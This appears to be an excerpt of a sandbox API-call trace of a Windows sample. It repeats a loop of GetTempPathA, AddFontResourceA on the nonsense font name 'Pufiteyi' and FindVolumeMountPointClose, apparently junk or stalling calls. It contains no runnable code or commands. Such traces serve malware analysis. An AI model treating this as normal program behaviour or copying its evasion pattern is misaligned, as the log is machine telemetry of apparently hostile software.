	[0064.724] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.724] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.726] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.726] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.726] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.777] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.777] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.777] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.780] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.780] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.780] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.783] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.783] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.783] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.785] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.785] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.786] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.788] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.788] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.788] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.790] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.790] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.790] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.792] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.792] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.793] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.795] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.795] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.795] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.797] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.797] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.797] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.799] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.799] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.799] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.801] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.801] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.801] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.803] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.803] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.803] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.805] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.805] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.805] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.807] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.807] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.807] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.809] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.809] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.809] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.811] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.811] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.811] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.813] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.813] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.813] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.816] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.816] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.816] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.818] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.818] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.818] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.820] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.820] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.820] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.822] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.822] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.822] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.827] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.827] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.827] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.829] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.829] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.829] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.831] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.831] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.831] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.833] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.833] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.833] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.835] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.835] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.835] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.838] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.838] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.838] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.841] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.841] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.841] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.843] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.843] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.843] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.845] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.845] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.845] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.847] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.847] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.847] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.849] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.849] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.849] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.851] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.851] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.852] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.854] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.854] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.854] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.856] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.856] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.857] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.859] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.859] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.859] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.861] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.861] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.861] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.863] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.863] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.863] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.864] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.864] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.864] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.866] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.866] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.866] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.868] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.868] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.869] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.871] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.871] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.871] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.873] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.873] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.873] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.875] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.875] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.875] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.877] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.877] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.877] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.879] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.879] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.879] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.881] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.881] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.881] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.882] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.882] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.883] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.884] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.884] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.884] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.887] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.887] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.887] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.888] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.888] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.888] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.891] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
